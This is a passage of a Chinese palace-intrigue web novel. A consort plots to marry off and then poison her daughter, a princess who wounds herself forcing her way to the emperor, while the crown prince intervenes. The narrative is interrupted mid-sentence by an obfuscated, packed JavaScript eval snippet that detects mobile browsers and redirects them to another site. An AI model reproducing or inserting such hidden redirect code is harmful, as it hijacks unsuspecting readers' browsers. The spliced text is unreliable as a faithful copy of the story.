只要他没有倒向自己,就万罪可恕,这才是陛下的立场。 “下去吧,如何行止,孤自有决断。” 李蹊将人全都打发了出去,书房内重新落入死一般的寂静,太子一人靠坐在圈椅里。 思来想去,最快明日早朝后,将此次案件一应人等的处罚奏疏呈递给陛下御览,若无异议,后日在朝上颁布。 此间乱局,便可画上句号。 但麻烦的是,贵妃今晚会向陛下请旨赐婚。 他不能眼看着阿棠被推进火坑。 今日是十五,按理陛下今日会宿在坤宁宫。 他提笔写下一封手书,让徐常侍亲自送到坤宁宫,请母妃今晚务必将陛下留下,阻拦贵妃请旨。 11. 第 11 章 蓬莱殿幽静堂中,沈佩兰坐于妆台前梳妆,外头淅淅沥沥地下起小雨,随着风飘进来落到她的掌心。 有些凉的水汽。 她转头看向窗外,“当年本宫生公主的时候,也是这样一个雨夜。” 方嬷嬷拿着一把镶绿宝石的檀木梳,一下一下为她梳着长发。 “公主调皮,让娘娘生生疼了一夜,直到天明日出、云霞漫天时,才肯出来。” 沈佩兰看向铜镜,摸着眼角,“方嬷嬷,我好像长皱纹了。” 方嬷嬷手上未停,恭顺地低着头,“只是铜镜用久了,花了,明日老奴去拿一面新的给娘娘换上。” 知道她是在哄自己,到了她现在的身份地位,几乎已经听不到真话。 但之前在太初殿外,皇后一句话点醒了自己,被母女之情麻痹了这么多年,都忘记了云棠一日活着,就一日是隐患。 故,晚膳时阙儿提起崔钟林和贺探花的父子关系,想要将云棠嫁过去,借此拉拢尚书。 她是反对的。 “母后,这是实打实的父子关系,崔尚书只求儿子活命,能继承香火祖业,比之前什么门生故旧的关系要牢靠许多,您还在犹豫什么?!” “你别被云棠那一番话糊弄了,若怕她找父皇哭诉,直接断了她面见父皇的可能不就好了,儿臣可以去请旨。 “何况,中书令也赞同,拿住了崔钟林这个把柄,往后不愁不为我们所用,父皇跟前也多个人为我们说话。” “难道母妃是舍不得云棠了?” 她犹豫,是因为云棠也是一个把柄,即便嫁出去了,也仍然是骨中钉、肉中刺。 无人知道也就罢了,毕竟虎毒不食子。 可如今有人可能知道了,为了阙儿,为了自己,为了如今的荣华富贵。 她生了杀心。 但这个中情由无法与阙儿言说,身边只有一个方嬷嬷知道一星半点。 “方嬷嬷,你说将云棠嫁出去,是个好主意吗?” 方嬷嬷已经到了鸡皮鹤发的年纪,脸上皱纹密布,一双眼睛倒还清明。 “娘娘,公主出了阁,是死是活都是造化,可若在宫中出了事,陛下、太子定是要彻查。” 沈佩贞从铜镜里直直地看向身后的人,依旧慈眉善目,好似什么都没说过。 她心里有了主意,“去问问陛下从坤宁宫出来了没有。” 半晌后,宫人来回话,“皇后娘娘说身上不适,不能侍寝,陛下现下已回了太初殿。” “摆驾,太初殿。”沈贵妃摸着头上的凤翅九环金钗,起身去更衣。 而身处昭和殿的云棠,此刻还在灯下细心地挑选干净、漂亮的牡丹花瓣。 殿外来了一位穿着蓝色宫服的小公公,说是替中书令府送东西来的。 云棠接过锦盒,打开是一方绸帕,细细看去,右下角绣着一朵海棠。 她笑着拿起来,这一看就是华姐姐的手艺,绸帕一拿开,底下还放着一张纸条。 是什么? 她捧着锦盒入了寝殿,爬上长塌,将纸条取出,徐徐展开,只见一行娟秀小字。 “速去太初殿,贵妃今晚要请旨贺开霁尚公主,速去!速去!” 云棠整个人如遭雷击、暴雨,浑身发抖,纸条轻飘飘地落到地上。 她青白着脸愣了许久,才连滚带爬下了塌,绣鞋都未穿好就往外跑。 华姐姐不会骗她。 可为什么,为什么贺开霁都已经下了大狱,母妃还要将自己嫁过去! “公主!”听雨拿着长靴,跟在后面追,“公主,外头在下雨。” 云棠在殿门,止住慌乱的脚步,扶着门框捂着疯狂跳动的心,牙齿都在颤抖地道:“备轿,快,我要去太初殿!” 听雨一边吩咐宫人去准备轿撵,一边给她穿鞋,整理仪容,“公主,今日圣旨下来,您不能进太初殿。” 她抬头看天,黑沉一片,果然这世上没有无缘无故的事。 “不能进,就看能不能在殿外拦住母妃。” 当她紧赶慢赶到太初殿外时,宫门紧闭,两列带刀侍卫在雨中静列两侧,宫门口的两只大灯笼闪着幽微而肃穆的光。 “我们是昭和殿的,贵妃娘娘是否进去了?”听雨打着伞上前问询。 侍卫长一听见昭和殿,竟然露出个和善的面容,略走出几步远,才道:“娘娘刚刚进去,快请公主回去吧,陛下有旨,公主不能靠近太初殿。” 听雨回到轿旁,轻声传话。 “公主,娘娘已经进去了,咱们先回去,找太子殿下再商量商量吧。” 云棠沉默,手中手帕绞紧! 不能遇到事情就想着太子哥哥,也不能把自己活成一株只能依附别人为生的丝萝。 更何况这是她与母妃之间的事,不能将太子和皇后牵扯进来。 云棠掀了轿帘,直接钻了出来。 她提着长裙往前走,径直在太初殿门口跪下,连磕三个响头,朗声道:“儿臣有要事,恳请面见父皇!” 侍卫长面有不忍,上前劝道,“公主殿下,今日您肯定进不去,趁着陛下未发怒,赶紧回去吧。” 云棠膝行向前,侍卫们列横队,抵挡在宫门前,更有甚者,拔出长刀。 冰冷的雨水打在兵刃之上,溅起层层水花。 云棠毫无惧色,今日若进不去,她宁愿死在这里,也不能不明不白地将下半辈子葬送掉。 “进去通报,就说本宫有生死攸关之事要面君王!” “请公主殿下后退!” 云棠心一狠,颤抖的指尖骤然抓住刀刃,锋利刀刃割裂柔软的皮肉,刺骨巨痛在掌心炸开。 殷红血水混杂着雨水沿着冰冷刀锋汨汨而下,连绵不绝地落在太初殿前光可鉴人的汉白玉石上,流成一道鲜红的水痕。 “公主!”听雨惊呼着扔了伞,伸手去捂着她的手,又急又怕。 雨越下越大,她的发髻被雨水打湿,湿漉漉的乌发黏在苍白的面颊上。 夜风寒凉,她浑身湿淋淋冷得发颤,手上钻心的疼痛又如烈火烹灼,但她无丝毫退色,即便今日陨灭于此,也绝不要退步。 侍卫心生畏惧,想抽回刀,她越发用力握住,两相僵持不下之际,太初殿的宫门缓缓打开。 云棠咬着下唇撑着精神,沿着衣摆往上看去。 不是宫人。 是郑大人。 郑更今日公事在身,被陛下留在宫里,刚刚公事了了,一出宫门竟有遇见这等事。 当年下江南去寻丢失多年的明华公主,这差事是他领着去办的。 刚寻到公主时,又瘦又黄,脸颊凹进去,一张小脸,那双圆圆的眼睛占了大半,十来岁的年纪身量还不足人家六七岁的娃娃,看着可怜地很。 回京路上,他与夫人细细照顾,养了两个来月,才算养出来些人样。 公主那时怯生生,进了宫也不敢和别人说话,只是拉着他的衣袖,躲在他身后。 怎么六七年过去了,还是这副落难可怜模样? “大胆,还不快把刀放下!”郑更大步向前,呵斥道。 侍卫松了手,“哐当”一声,长刀带着鲜血落地,听雨低声哭着用绸帕给公主包扎。 云棠被雨水洗过的眼睛,黑得发亮,她盯着地上的那把长刀,刀面浸着殷红的血水。 机会来了。 在众人不察之际,抓起刀柄,飞速起身 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云棠抽了抽鼻子,心酸、难过、感动等等情绪一应糅杂在一起,喊了一声当年她喜欢喊的称呼。 郑更那张黑黢黢的脸笑了起来,眼睛在黑夜里亮亮的。 “方才多谢大人,后面的路我得自己走。” 云棠拂下撑着她手肘处的手掌,不能再连累他,即便有御赐金牌在身,也不是万罪可恕的。 她的嘴唇还在颤抖,眼中含泪,整个人如枝头摇摇欲坠的枯叶,却微微笑道:“我若有命出来,还想再吃一次郑婶婶做的虎皮肉。” “拙荆一直很想念公主。” 他立在原地,看着公主瘦削的身影渐渐消失在雨幕里。 郑更开始产生一点点难过与怀疑,或许当年不应该寻她回来,活在江南,虽然衣食有缺,但只要长大成人,总能有一口饭吃,过上安稳平静的日子。 如今当这一国公主,性命都捏在别人手里,动辄生死攸关,日子艰难地很。 云棠快步往太初殿东暖阁行去,宫墙巍峨,夜幕深深,气力不接时,她只能停下扶着墙、捂着胸口,大口大口地呼吸。 “公主,只要行过这条长街,便可到陛下的东暖阁了。” 听雨给她打着伞,扶着她瘦削的手臂,自己却被淋了个透。 云棠看向她狼狈的模样,想来自己也好不到哪里去。 从未想过会走到今日田地,她非常厌恶别人被她连累的滋味。 看着前方黑沉沉、无止境的宫道,她撑起一口气继续走。 “听雨,若过了这一关,我会向皇后娘娘请旨,放你出宫。” 听雨默默没有说话,能出宫当然好,可到了宫外,她也很害怕,不知道要怎么活下去。 “公主,贵妃早早就进来了,轿夫脚程快,我们追不上的。”听雨道。 云棠现下已经豁出去了,忤旨闯宫、刀挟官员,随便一条拿出来都足以让她粉身碎骨。 还有什么好怕的。 她嗤笑一声,“追得上,追不上生,还追不上死吗。” 光脚的不怕穿鞋的,她靠着此生说不定就要结束于今晚的恐惧与解脱感,撑着自己不断往前走。 总会有个结果,她不想高坐在昭和殿,被动地等着结果来找她,这果她要自己去寻! 或许是她确实得命运垂青,贵妃的轿撵进了太初殿后不久,轿顶竟松了一块。 一行人不得不在凉亭里稍歇,方嬷嬷张罗着重新调一只轿撵来。 两人竟然竟真的追上了! 12. 第 12 章 云棠像个湿淋淋的水鬼,垂下的手掌还在往外渗血,在幽幽夜色下更添了几分狼狈渗人之感。 “儿臣来为母妃请安,躬问御体安和否。” 贵妃看到她这番鬼模样,心中大骇,禁不住后退了半步。 “你怎么会在此?!” 云棠从地上爬起来,薄薄的眼皮撩起,眼中带刃,反问道:“母妃怎么在此。” 贵妃扶着方嬷嬷的手,初见的敬畏厉色道:“陛下有旨,你不能进太初殿,是想连带着害死本宫和淮王吗?!” "只要母妃现下随我一同出太初殿,所有罪责自当我一人承担。" “但若您执迷不悟,”云棠停了停,直戳要害,“与我血脉相连的是您和淮王,半点不与太子相干,母妃就算不为了我,也要为淮王想一想。” 沈佩兰心神俱震,自己怎么就生养出来这样一个女儿! 不像个闺秀女儿,倒像是山中的一匹恶狼! “你威胁我?!” “不,是母妃在威胁我,”云棠折腾了一晚上,手上失血过多,方才行走未察觉,如今停下来,整个人冷得直发颤,“到了陛下面前,我是没有好下场,但是淮王利用亲妹结交陛下心腹,光凭这一点,就足以让他立刻离京之藩。” “空口无凭污蔑当朝亲王,公主慎言!”方嬷嬷在旁喝道。 云棠惨白着一张脸,明明气都要接不上了,却还在笑。 “嬷嬷,陛下多疑,大可派大理寺、派刑部去查,开三司会审,若还不够,就恭请陛下亲鞠!” “怎么会,空口无凭。” “你!”沈佩兰怒气攻心,下了死力扇了云棠一巴掌。 她吃不住力,整个人跪倒在地,鲜红的掌印在惨白的脸上十分明显且可怖。 听雨惊骇异常,当下就扑过去将公主抱在怀里,眼泪跟断线珠子般不停往下掉。 云棠被打地脑袋“嗡嗡”响,天旋地转之际她用舌头舔了舔嘴里破皮后的血肉,铁锈般的血液滋润着干涸的唇舌,转头死死地盯着贵妃,眼眶里都泛着红,却还不要命地出言激怒。 “母妃可以猜猜,是我先死,还是淮王哥哥先出京。” 方嬷嬷拉住了还欲掴掌的贵妃,小声进言:“娘娘,正事要紧,且此地是太初殿,人多眼杂,不如将公主带回蓬莱殿再行处置。” 沈佩兰气血上头,双手因为愤怒而不自觉地发抖。 方才这逆子的话确实点中了她的痛脚,甚至对请旨赐婚都产生了几分迟疑与退却。 但她能在宫里走到今天的位置,也不是几句话就能唬住的。 转身不再看地上的那一滩人,深吸几口气稳定心神后,对方嬷嬷点了点头。 既然解决不了事情,就先解决人。 方嬷嬷亲自上手,抓着已无反击之力的云棠,她身后的两个宫女抓着听雨,将主仆两人打晕塞进了那只漏雨的轿子。 “送回蓬莱殿。” 太监轿夫在远处休息,看不清是谁进了轿子,走过来道:“嬷嬷,这轿子漏了,抬不了贵人。” “抬不了贵妃还抬不了奴婢?!快抬走!”方嬷嬷安排妥当走回贵妃身旁,“娘娘,新轿撵已准备好,现下就去吗?” 方才打的那一巴掌,手心仍在隐隐发热,夜风吹过,带来几分清凉。 无论什么人,什么事都不能阻挡阙儿的路。 “走!” 待一行人冒雨到东暖阁,值夜的太监请贵妃在左侧耳房稍等陛下传召。 一扇布毡将潮湿与阴寒都被挡在门外,地上铺着软绒绒的织锦软垫,香炉里燃着清甜的丁香,贵妃端着一盏热茶略啜一口。 虽不想去想云棠,但脑海中却不断浮现方才她那些尖锐的话,决绝到要同归于尽的戾气。 以及那双含着血泪望着她的眼睛。 自她回宫后,除却例行问安,她很少会主动去见女儿。 一则,分离已久,二则,她确实不想见她,只要见她就会想起不堪、耻辱的那一晚。 有过一瞬的念头,她想要起身离开这里。 但也仅有一瞬。 毕竟那些怨恨不甘总要有人去承担,除了这个女儿,她没有别人可以去恨了。 “娘娘,陛下召见您呢。” 宫人弯着腰进来传旨,后又站在门边,打着帘子,低头等娘娘出耳房。 沈佩兰对镜略理了理鬓边的碎发,扶着方嬷嬷的手仪态万千地往外走。 在往东暖阁行去的尽头,有一挺拔身影立在廊下,他身着月白色金线绣宝相花纹圆袍,头戴掐金攒玉冠,脚踩麂皮靴,缓缓转身,朝贵妃行来。 待走进才看清面容,竟是太子! 他怎会在此! 难道是为崔尚书案来的? 但阙儿明明探听到他最快明日才会将结案疏上呈陛下。 “太子殿下,”贵妃心中没来由地一阵慌乱,欠身行礼,“你怎会在此?” 太子俯视人时总带着某种冷漠的审视、尖锐的判断,让人平白就矮下三分。 “贵妃又为何在此。”声如玉石,字字敲打人心。 沈佩兰眼神回避,她算是太子的庶母,但论起来这皇宫只有三位主人,而她不过是身份贵重些的奴婢。 太子转身看向东暖阁的窗下,那里种着一小排的海棠树,是他吩咐花房种的。 希望父皇看到海棠时,偶尔也会想起云棠,如此云棠在沈氏那儿的日子也会好过一点。 今晚皇后未能留下父皇,他当机立断,先下手为强漏夜进宫,将那两人的罪名与处置敲定。 此举虽会招致陛下疑心,但他与陛下,生来虽是父子,更多是君臣,这疑心他受得起。 但阿棠不行,一旦赐婚圣旨下来,即便是他也无计可施。 太子淡淡地看着那一排海棠,夜雨风急,粉红花瓣零落一地,“阿棠在江南流落多年,贵妃当珍惜有女在旁的日子。” “若贵妃容不下这个女儿,孤的东宫永远有她的位置。” 他想将阿棠永远养在东宫。 每日他下朝后,可以看到她笑意盈盈地等在伏波堂,两人一道看花看雪,看朝升日落。 他愿意将除却政务以外的所有时光、所有精力都献给她,看她生长,看她快乐。 哥哥也好,太子也好,无论什么身份都可以。 太子走后,沈贵妃在原地站了许久,方嬷嬷一直安静地候在旁边,见她回神,才将探听到的消息说与贵妃。 “娘娘,太子殿下已经将崔尚书案的结案卷宗呈予陛下,方才陛下金口玉言,已经定了贺探花的罪名,贬回籍地。” “这赐婚的圣旨,还要求吗?” 贵妃像太子一般,看向窗下的那一排海棠树。 今晚过后,她们之间的母子情分也恰如这雨中海棠,零落成泥了。 思及云棠今晚的形容,贵妃心底泛起阵阵寒凉,这个女儿长成了一匹失控的恶狼,伸着尖锐的犬牙,随时有可能反咬她们一口。 若有一日,她知晓了自己的身世,难保不会如今日这般,要与她们玉石俱焚。 再有,皇后那日就已经起了疑心,太子又是这般维护的态度。 沈佩蓉打了个寒噤,手脚俱是冰凉。 她原本就动了杀心,如今赐婚不成,便更不能妇人之仁! “让宫人将茄鲞端给她,她若不吃,就塞下去。” “这件事,你现在回去,亲自办。” 她华美的衣裙上不该沾有污点,更不能让别人看到这污点。 “娘娘!”方嬷嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457651|169590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心如擂鼓,“戕害皇室血脉,是要赤族而诛的!” “今晚她的疯魔众人皆知,若追究起来,自可推脱是她自己吃下的,本宫从不知道她用茄鲞会出事。” 方嬷嬷心中畏惧,进言道:“此事要不要与淮王殿下和中书令大人商量一下?” “蠢货!”贵妃不悦,这事跟他们商量不了,“今晚她忤旨闯宫,陛下必然大怒,快去悄悄做了!” “娘娘,陛下在等您呢。” 蓝衣内侍候在东暖阁门口,许久未见人,躬身走来提醒道。 精致的面容带起温婉的笑意,搭着内侍的手往暖阁内走,经过方嬷嬷时,眼中的杀机尖锐、肯定。 但她轻轻说了一句,“别让她太痛苦。” 刚刚被绑到蓬莱殿不久的主仆两人,被人关在一间狭窄废弃的值房里。 四面是墙,只有一张缺了脚的桌子,墙角结着细密的蛛网,地上杂乱地铺着稻草,不时有虫子细簌爬过的声音。 听雨先醒了过来,房间内漆黑一片,她手上不知按到什么东西,滑溜溜地又爬走! “啊!”她惊慌的跳了起来。 这一嗓子,顺带着把昏过去的公主给嚎醒了。 听雨抖得跟小鸡崽子般依偎在公主身旁,小声啜泣,“公主,有...有...脏东西!” 云棠浑身无力,掌心和膝盖处传来阵阵尖锐的疼痛,尤其是被刀刃割破的掌心,稍微动下手指就是钻心刺骨的痛。 “别怕。”嗓音干涩,喉咙口甚至有血腥感。 “公主,你怎么这么烫!是不是发热了!” 听雨看不见,伸手去摸,不知摸到她哪里,云棠拼着最后一点力气抓住她的手。 “别摸了...快疼死了。”云棠气若游丝。 听雨缩在她旁边,哭得根本止不住,说话也结结巴巴,“怎么突然...会变成这样,公..公...公...” 云棠打断她,“别公公了,摸黑去把窗户推开,我想喝点雨水。” 听雨不敢,四周一片黑,还有不知道什么虫子,她虽是个奴婢,却自小衣食丰足,从没见过这等腌臜。 “我...我不敢...” 云棠高热烧得她快要晕过去,但身上的疼痛又生生拽着她,身边还有个需要她哄、安慰的小姑娘。 “那你扶我起来,我去开。” “不...不...”听雨的胆子比鸡的都小,抓着公主的衣服,“公...公主,我害怕!” 云棠自己也没几分力气,还带着个拖油瓶,爬都爬不到窗边。 索性长长地舒了一口气,握着听雨的手,沙哑着嗓子给她讲故事,鼓励她。 “我小时候在江南,吃不上饭,饿极了时常常要跟野犬抢一个掉地上的馒头,野犬个头大,但我总是能抢赢,你知道为什么吗?” “为什么?” “因为我不怕死,就算咬得浑身是血,下一次依旧要抢。” “渐渐地,那一片的野犬好像都知道了我的名声,就不来抢我的,转头去欺负、争抢弱者的馒头。” “所以这世道,畏惧没有用,等待也没有用,比得是谁更豁得出去。” “勇敢一点,豁出去,”云棠在黑暗中拍了拍她的小脑袋,鼓励她,“去把窗户推开,接点雨水过来,你家公主快渴死了。” 听雨原本那一点被激发出来的勇气,在踏出第一步后又缩了回来。 “呜呜呜呜呜,公主,有虫子从我脚背上爬过去了,我还是害怕,呜呜呜呜呜...” 这边还抽抽嗒嗒哭着,只听到“哐”地一声响,值房的木门被人推开,跟着飘进来一阵熟悉的槐花香味。 来人打着灯笼,烛光渐渐照亮这件破旧的值房,以及值房角落里的两个落魄鬼。